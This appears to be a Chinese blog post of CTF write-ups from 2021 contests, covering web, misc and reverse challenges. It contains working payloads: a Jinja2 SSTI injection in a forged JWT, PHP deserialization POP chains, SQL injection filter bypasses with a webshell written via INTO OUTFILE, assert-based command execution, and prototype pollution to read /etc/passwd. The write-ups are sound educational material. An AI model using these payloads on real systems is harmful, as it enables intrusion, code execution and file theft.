Cookie:token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiJkZjRhNjFhMS0wMzA3LTQ5ZTctYjdjZS04Zjg2YjA4OWIyOTkiLCJyb2xlIjoiYWRtaW4iLCJ1c2VyIjoie3tzZWxmLl9fY2xhc3NfXy5fX21yb19fWzFdLl9fc3ViY2xhc3Nlc19fKClbMTA2XShyZXF1ZXN0LmNvb2tpZXMucyxzaGVsbD1UcnVlLHN0ZG91dD0tMSkuY29tbXVuaWNhdGUoKVswXX19IiwicGFzc3dkIjoiMTExIn0.YYk3HNEaJG0RZpBVoSj0sKJND4sRckObshfcOUJ0r1w;s=ls

靶机开不了了呜呜呜,等等看buu能不能上了。

看的别的师傅的payload:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiP25hbWU9e3soeHxhdHRyKHJlcXVlc3QuY29va2llcy54MSl8YXR0cihyZXF1ZXN0LmNvb2tpZXMueDIpfGF0dHIocmVxdWVzdC5jb29raWVzLngzKSkocmVxdWVzdC5jb29raWVzLng0KS5ldmFsKHJlcXVlc3QuY29va2llcy54NSl9fSIsInVpZCI6IjRlN2NkNDg1LTU2YjctNDYwYS1iMzIwLTFiZWViZjdkYzJmMSIsInBhc3N3ZCI6IjEyMzQ1NiIsInJvbGUiOiJhZG1pbiJ9.yY3dIUG0_3tOMivjLg_DDKBdrH1jsqFrTG-B1FXbU2U;x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()

das2021.9.25

hellounser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
class A {
public $var;
public function show(){
echo $this->var;
}
public function __invoke(){
$this->show();
}
}

class B{
public $func;
public $arg;

public function show(){
$func = $this->func;
if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) {
die('No!No!No!');
} else {
include "flag.php";
//There is no code to print flag in flag.php
$func('', $this->arg);
}
}

public function __toString(){
$this->show();
return "<br>"."Nice Job!!"."<br>";
}


}

if(isset($_GET['pop'])){
$aaa = unserialize($_GET['pop']);
$aaa();
}
else{
highlight_file(__FILE__);
}

简单链子,触发A类的魔术变量__invoke,然后调用函数show,触发B类的魔术变量__toString,就调用到show函数了,
造poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class A {
public $var;

}

class B{
public $func;
public $arg;
public $php;


}

$a = new A;

$a->var = new B;

$a->var->func="\create_function";

$a->var->php=

$a->var->arg=";}var_dump(get_defined_vars());//";



echo serialize($a);

先是利用\create_function绕过第一个过滤,该知识点可查看ctfshowweb入门php特性147,接着是第二个,过滤了相当多的东西,尤其是引号,导致即使有exec也没法命令执行,因为还过滤掉了可以造点号的local

想到还有可以获取所以已定义变量的方法,也就是函数get_defined_vars()
很遗憾是假flag,但告诉了真flag在哪里,fl4g{TrueFlag_is_in_Tru3flag.php}

那么问题来了,怎么读取到Tru3flag.php,flag被ban,很难,但还好有rossweise(三月七)师傅提示我,让我没爆0

require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());

通过base64编码绕过对flag的过滤,然后包含,最后再次将所有变量读出

base64_decode不需要引号也能执行成功,新姿势,我太菜了,还是得多学

ctfmanage

将union,select,where都置换为空,可以作为绕过点,然后对or进行了过滤,检测到or就结束程序

1
1 ununionion selselectect 1,2,(selunionect group_concat(table_name)frunionom infounionrmation_schema.tables whunionere table_schema=database());#

得到两个表:flagisthere,ilikectf

1
2
3
select group_concat(a) from (select 1 as a,2,3 union select * from liu_tbl)m;

1 ununionion selselectect 1,2,(selunionect group_concat(a,'|',b,'|',c)frunionom (selunionect 1 as a,2 as b,3 as c ununionion selselectect * frunionom flagisthere)m);#

flagishere
1|2|3,1|youfindit|flag,2|???|?????????

ilikectf:

1|2|3,34475|djifeih|flag.php,36476|sgrsgef|gg.php

flag.php页面啥也没有,打开gg.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
include "flag.php";

if(base64_encode(hex2bin(strrev(bin2hex($_GET['sy']))))===$secret)
{
if($_POST['ha']!==$_POST['lo']&&md5($_POST['ha'])===md5($_POST['lo'])){
echo $flag;
}
else{
echo 'ohhhhh so close !!!';
}
}
else
{
highlight_file(__FILE__);
}

先十六进制编码,再倒序,再十六进制转字符串,最后进行base64编码,将得到字符串与变量$secret进行强类型比较。

查一手文件上传:

1
1 ununionion selselectect 1,2,(selunionect group_concat(variable_name,'|',variable_value)frunionom perfounionrmance_schema.global_variables whunionere variable_name="secure_file_priv");#

得到:
secure_file_priv|/var/lib/mysql-files/

1
1 ununionion selselectect 1,2,('<?php eval($_REQUEST[1]);?>' into outfile'/var/lib/mysql-files/1.php');#

上传一波:

HeroBravo Firewall

被墙了。老老实实做php特性了,但很明显首先不知道$secret的值,强类型比较不太好弄

可以看到,如果一个正常字符串,经过处理后得到的应该是base64编码,这种东西通常是作为提示的,可以在一开始进行sql注入的页面源码找到:

1
<-- 告诉你一个秘密: hjZX1pcnVmdmRzZWZ/bGlg== --!>

经过反向处理:

1
echo hex2bin(strrev(bin2hex(base64_decode($a))));

得到字符串:ilovectfverymuch

数组绕过一下第二层,构造payload:

GET: ?sy=ilovectfverymuch
POST: lo[]=a&ha[]=b

xxc

打开页面,写着一条链子,看页面源码啥也没有,有链子,应该需要源码泄露,看了一眼robots.txt不存在,然后www.zip,有了

对带着命名空间的链子还不会写poc,通过一些查询终于搞出来了,但链子的结尾却是一个只能控制第一个参数的call_user_func函数,第二个参数被写了字符串'666'phpinfo,执行页面也没看到有用的东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
namespace Method\Func{
error_reporting(0);
class GenerateFile {
public $flag;
protected $buffer;

public function __construct(){
$this->source->generate = "phpinfo";
}
}

class GetDefault {
private $source;

public function __construct(){
$this->source = new GenerateFile;
$this->source->flag = "myTest";
}
}

class GetFile {
private $flag = true;
private $files = [];
public $value = "test";

public function __construct(){
$this->flag = new Getdefault;
}
}
}

namespace Faker{
error_reporting(0);
use Method\Func\GetFile;
class MyGenerator {
protected $defaultValue;

public function __construct(){
$this->defaultValue = new GetFile;;
}

}
}

namespace Control\State{
error_reporting(0);
use Faker\MyGenerator;
class StopHook {
protected $processes;
public function __construct(){
$this->processes=[new MyGenerator];
}
}
}

namespace {
error_reporting(0);
echo serialize(new Control\State\StopHook());
echo "<br>";
echo "<br>";
echo base64_encode(serialize(new Control\State\StopHook()));
}

绿城杯

web

ezphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (isset($_GET['link_page'])) {
$link_page = $_GET['link_page'];
} else {
$link_page = "home";
}

$page_file = "pages/" . $link_page . ".php";

$safe_check1 = "strpos('$page_file', '..') === false";
assert($safe_check1) or die("no no no!");

// safe!
$safe_check2 = "file_exists('$page_file')";
assert($safe_check2) or die("no this file!");

require_once $page_file;

拼接

检测目录穿越,检测文件是否存在,文件包含

尝试用数学运算进行rce:

1
2
3

"strpos('/pages/ 1','')*phpinfo()*strpos('2 .php','..')===false"

成功

读取:

1
1','')*system('cat pages/flag.php')*strpos('2
1
<?php //DASCTF{f351aa459005805550dabad9bd8334f2}; ?>

ezcms

注册了个账号,没找到信息

Looking for treasure

页面源码有个提示<!-- /source.zip --!>,下载了解了个config.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
module.exports = function(app, fs, lodash){
app.get('/config', function(req, res, next) {
let config = res.locals.config;
let content = JSON.parse(fs.readFileSync(config.filepath).toString())
res.json(content);
});

app.post('/validated/:library?/:method?', function(req, res, next) {
let config = res.locals.config;
if (!req.params.library || req.params.library.match(/vm/i)|| req.params.library.match(/../i)|| req.params.library.match(/%2f/i)|| req.params.library.match(/%2F/i)|| req.params.library.match(/\//i)) req.params.library = "json-schema"
if (!req.params.method) req.params.method = "validate"

let json_library = require(req.params.library)
let valid = json_library[req.params.method](req.body)
if (!valid) {
res.send("validator failed");
return
}
let p;
if (config.path) {
p = config.path;
} else if (config.filepath) {
p = config.filepath;
} else {
p = "config.json"
}
let content = fs.readFileSync(p).toString()
try {
content = JSON.parse(content)
if (lodash.isEqual(req.body, content))
res.json(content)
else
res.send({ "validator": valid, "content" : content, "log": "wrong content"})
} catch {
res.send({ "validator": valid, "content" : content})
}
})
}
// {"$schema":{"type":"object","properties":{"__proto__":{"type":"object","properties":{"path":{"type":"string","default":"/etc/passwd"}}}}}}

// {"validator":{"valid":true,"error":[]},"content":"111"}

赛后复现

首先看到这里:

let content = fs.readFileSync(p).toString()

使用了fs.readFileSync()函数读取了文件,并将其强转为字符串并赋值给content

content = JSON.parse(content)

使用JSON.parse将字符串转为一个js对象

lodash.isEqual(req.body, content)

判断req.body与content的相等

不相等则会将content的值直接输出:

res.send({ “validator”: valid, “content” : content, “log”: “wrong content”})

于是就可以将文件内容带出来

于是回过头看看如何控制p的值

1
2
3
4
let p;
if (config.path) {
p = config.path;
}

这里是将config的属性path赋值给了p

往前看并没有看到path这个属性,但可以看到

config = res.locals.config

以及

1
2
3
4
5
req.params.library = "json-schema"
if (!req.params.method) req.params.method = "validate"

let json_library = require(req.params.library)
let valid = json_library[req.params.method](req.body)

这里引入了json-schema,并且用来处理了req.body

req.body是post传输的数据

使用json-schema格式传入一个对象,处理后赋值给使用Object创建的对象valid:

1
{"$schema":{"type":"object","properties":{"__proto__":{"type":"object","properties":{"path":{"type":"string","default":"/etc/passwd"}}}}}}

造成原型链污染,这里我们并没有修改config本身,而是通过修改它的原型Object类,而新构造的valid也是Object

于是p在获取config对象的path属性却找不到时会到其构造函数的prototype中去寻找,而对象的__proto__属性正是指向其构造函数,于是找到其构造函数中的属性path,于是成功给p赋值了我们想给他赋的任意文件名

最终达到任意文件读取的目的

misc

音频隐写

签到题,下载个dudacity软件,打开音频文件,选择频谱图就ok了,不要交格式0.0

REVERSE

加密算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import *

flag=input("来一个:")

str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
# xiTEpaLwhSDoZKvgRCnYJufQBmXItePAlWHsdOzkVGrcNyjUFqbM
def encode(plain_text, a, b, m):
cipher_text = ''
for i in plain_text:
if i in str1:
addr = str1.find(i)
cipher_text += str1[(a*addr+b) % m]
else:
cipher_text += i
print(cipher_text)


encode(flag,37,23,52)
# cipher_text = 'aoxL{XaaHKP_tHgwpc_hN_ToXnnht}'
# flag{AffInE_CIpheR_iS_clAssiC}

垃圾web手不想动脑子,反正不长,直接硬解

鹤城杯

web

easyp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

include 'utils.php';

if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}

if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}

使用%ff绕过preg_match的判断,basename会清除掉%ff(非ascii值)

GET:/utils.php/%ff?show[source

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

muhua WeChat Pay

WeChat Pay

muhua Alipay

Alipay

muhua PayPal

PayPal